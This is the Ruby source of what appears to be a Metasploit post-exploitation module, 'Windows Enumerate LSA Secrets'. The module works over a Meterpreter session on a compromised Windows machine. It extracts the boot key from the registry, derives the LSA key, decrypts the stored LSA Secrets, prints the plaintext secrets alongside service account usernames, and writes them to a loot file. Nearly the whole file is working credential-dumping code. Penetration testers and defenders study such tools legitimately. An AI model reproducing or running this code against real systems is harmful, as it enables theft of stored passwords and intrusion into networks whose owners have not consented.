298 lines
9.7 KiB
Ruby
298 lines
9.7 KiB
Ruby
##
|
|
# $Id: enum_lsa.rb 15362 2012-04-21 rob $
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/post/windows/priv'
|
|
require 'msf/core/post/common'
|
|
require 'msf/core/post/windows/registry'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Common
|
|
include Msf::Post::Windows::Registry
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Windows Enumerate LSA Secrets",
|
|
'Description' => %q{
|
|
This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is:
|
|
HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\. Thanks goes to Maurizio Agazzini and Mubix for decrypt
|
|
code from cachedump.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision: 15362 $',
|
|
'Platform' => ['win'],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'Author' => ['Rob Bathurst <rob.bathurst@foundstone.com>']
|
|
))
|
|
end
|
|
def capture_boot_key
|
|
bootkey = ""
|
|
basekey = "System\\CurrentControlSet\\Control\\Lsa"
|
|
|
|
%W{JD Skew1 GBG Data}.each do |k|
|
|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
|
|
return nil if not ok
|
|
bootkey << [ok.query_class.to_i(16)].pack("V")
|
|
ok.close
|
|
end
|
|
|
|
keybytes = bootkey.unpack("C*")
|
|
descrambled = ""
|
|
descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
|
|
|
|
0.upto(keybytes.length-1) do |x|
|
|
descrambled << [keybytes[descrambler[x]]].pack("C")
|
|
end
|
|
|
|
return descrambled
|
|
end
|
|
|
|
def capture_lsa_key(bootkey)
|
|
begin
|
|
#print_status("Getting PolSecretEncryptionKey...")
|
|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolSecretEncryptionKey", KEY_READ)
|
|
pol = ok.query_value("").data
|
|
#print_status("Got PolSecretEncryptionKey: #{pol.unpack("H*")[0]}")
|
|
ok.close
|
|
print_status("XP compatible client")
|
|
@vista = 0
|
|
rescue
|
|
#print_status("Trying 'V72' style...")
|
|
#print_status("Getting PolEKList...")
|
|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolEKList", KEY_READ)
|
|
pol = ok.query_value("").data
|
|
#print_good("Pol: #{pol.unpack("H*")[0]}")
|
|
ok.close
|
|
print_status("V/7/2k8 compatible client")
|
|
@vista = 1
|
|
end
|
|
|
|
if( @vista == 1 )
|
|
lsakey = decrypt_lsa(pol, bootkey)
|
|
lsakey = lsakey[68,32]
|
|
#print_good(lsakey.unpack("H*")[0])
|
|
else
|
|
md5x = Digest::MD5.new()
|
|
md5x << bootkey
|
|
(1..1000).each do
|
|
md5x << pol[60,16]
|
|
end
|
|
|
|
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
|
|
rc4.key = md5x.digest
|
|
lsakey = rc4.update(pol[12,48])
|
|
lsakey << rc4.final
|
|
lsakey = lsakey[0x10..0x1F]
|
|
end
|
|
return lsakey
|
|
end
|
|
|
|
def convert_des_56_to_64(kstr)
|
|
des_odd_parity = [
|
|
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
|
|
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
|
|
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
|
|
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
|
|
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
|
|
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
|
|
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
|
|
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
|
|
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
|
|
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
|
|
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
|
|
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
|
|
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
|
|
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
|
|
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
|
|
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
|
|
]
|
|
|
|
key = []
|
|
str = kstr.unpack("C*")
|
|
|
|
key[0] = str[0] >> 1
|
|
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
|
|
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
|
|
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
|
|
key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
|
|
key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
|
|
key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
|
|
key[7] = str[6] & 0x7F
|
|
|
|
0.upto(7) do |i|
|
|
key[i] = ( key[i] << 1)
|
|
key[i] = des_odd_parity[key[i]]
|
|
end
|
|
return key.pack("C*")
|
|
end
|
|
|
|
|
|
def decrypt_secret(secret, key)
|
|
|
|
# Ruby implementation of SystemFunction005
|
|
# the original python code has been taken from Credump
|
|
|
|
j = 0
|
|
decrypted_data = ''
|
|
|
|
for i in (0...secret.length).step(8)
|
|
enc_block = secret[i..i+7]
|
|
block_key = key[j..j+6]
|
|
des_key = convert_des_56_to_64(block_key)
|
|
d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
|
|
|
|
d1.padding = 0
|
|
d1.key = des_key
|
|
d1o = d1.update(enc_block)
|
|
d1o << d1.final
|
|
decrypted_data += d1o
|
|
j += 7
|
|
if (key[j..j+7].length < 7 )
|
|
j = key[j..j+7].length
|
|
end
|
|
end
|
|
dec_data_len = decrypted_data[0].ord
|
|
|
|
return decrypted_data[8..8+dec_data_len]
|
|
|
|
end
|
|
|
|
def decrypt_lsa(pol, encryptedkey)
|
|
|
|
sha256x = Digest::SHA256.new()
|
|
sha256x << encryptedkey
|
|
(1..1000).each do
|
|
sha256x << pol[28,32]
|
|
end
|
|
|
|
aes = OpenSSL::Cipher::Cipher.new("aes-256-cbc")
|
|
aes.key = sha256x.digest
|
|
|
|
#print_status("digest #{sha256x.digest.unpack("H*")[0]}")
|
|
|
|
decryptedkey = ''
|
|
|
|
for i in (60...pol.length).step(16)
|
|
aes.decrypt
|
|
aes.padding = 0
|
|
xx = aes.update(pol[i...i+16])
|
|
decryptedkey += xx
|
|
end
|
|
#print_good("Dec_Key #{decryptedkey}")
|
|
|
|
return decryptedkey
|
|
end
|
|
def reg_getvaldata(key,valname)
|
|
v = nil
|
|
begin
|
|
root_key, base_key = client.sys.registry.splitkey(key)
|
|
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ)
|
|
#print("reading key: #{key}#{valname}\n")
|
|
v = open_key.query_value(valname).data
|
|
open_key.close
|
|
rescue
|
|
print_error("Error opening key!")
|
|
end
|
|
return v
|
|
end
|
|
#Decrypted LSA key is passed into this function
|
|
def get_secret(lkey)
|
|
sec_str = "\n"
|
|
begin
|
|
#LSA Secret key location within the register
|
|
root_key = "HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\"
|
|
begin
|
|
key_arr = meterpreter_registry_enumkeys(root_key)
|
|
key_arr.each do |keys|
|
|
begin
|
|
mid_key = root_key + "\\" + keys
|
|
sk_arr = meterpreter_registry_enumkeys(mid_key)
|
|
sk_arr.each do |mkeys|
|
|
begin
|
|
#CurrVal stores the currently set value of the key, in the case of
|
|
#services it usually come out as plan text
|
|
if(mkeys == "CurrVal")
|
|
val_key = root_key + "\\" + keys + "\\" + mkeys
|
|
v_name = ""
|
|
sec = reg_getvaldata(val_key, v_name)
|
|
if( @vista == 1 )
|
|
#Magic happens here
|
|
sec = sec[0..-1]
|
|
sec = decrypt_lsa(sec, lkey)[1..-1].scan(/[[:print:]]/).join
|
|
else
|
|
#and here
|
|
sec = sec[0xC..-1]
|
|
sec = decrypt_secret(sec, lkey).scan(/[[:print:]]/).join
|
|
end
|
|
if(sec.length > 0)
|
|
if(keys[0,4] == "_SC_")
|
|
user_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\"
|
|
keys_c = keys[4,keys.length]
|
|
user_key = user_key << keys_c
|
|
n_val = "ObjectName"
|
|
user_n = reg_getvaldata(user_key, n_val)
|
|
|
|
#if the unencrypted value is not blank and is a service, print
|
|
print_good("Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n")
|
|
sec_str = sec_str << "Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n"
|
|
else
|
|
#if the unencrypted value is not blank, print
|
|
print_good("Key: #{keys} \n Decrypted Value: #{sec}\n")
|
|
sec_str = sec_str << "Key: #{keys} \n Decrypted Value: #{sec}\n"
|
|
end
|
|
end
|
|
else
|
|
next
|
|
end
|
|
rescue ::Exception => e
|
|
print_error("Unable to open: #{val_key}")
|
|
print_error("Error: #{e.class} #{e}")
|
|
end
|
|
end
|
|
rescue
|
|
print_error("Unable to open: #{mid_key}")
|
|
end
|
|
end
|
|
rescue ::Exception => e
|
|
print_error("Unable to open: #{root_key}")
|
|
print_error("Error: #{e.class} #{e}")
|
|
end
|
|
rescue
|
|
print_error("Cannot find key.")
|
|
end
|
|
return sec_str
|
|
end
|
|
|
|
# The sauce starts here
|
|
def run
|
|
print_status('Obtaining boot key...')
|
|
bootkey = capture_boot_key
|
|
#print_status("Boot key: #{bootkey.unpack("H*")[0]}")
|
|
|
|
print_status('Obtaining Lsa key...')
|
|
lsakey = capture_lsa_key(bootkey)
|
|
#print_status("Lsa Key: #{lsakey.unpack("H*")[0]}")
|
|
|
|
hostname = session.sys.config.sysinfo['Computer']
|
|
print_status("Executing module against #{hostname}")
|
|
client.railgun.netapi32()
|
|
begin
|
|
secrets = hostname << get_secret(lsakey)
|
|
print_status("Writing to loot...")
|
|
path = store_loot(
|
|
'registry.lsa.sec',
|
|
'text/plain',
|
|
session,
|
|
secrets,
|
|
'reg_lsa_secrts.txt',
|
|
'Registry LSA Secret Decrypted File')
|
|
print_status("Data saved in: #{path}")
|
|
rescue ::Exception => e
|
|
print_error("Failed to run LSA Enum")
|
|
print_error("Error: #{e.class} #{e}")
|
|
end
|
|
end
|
|
end
|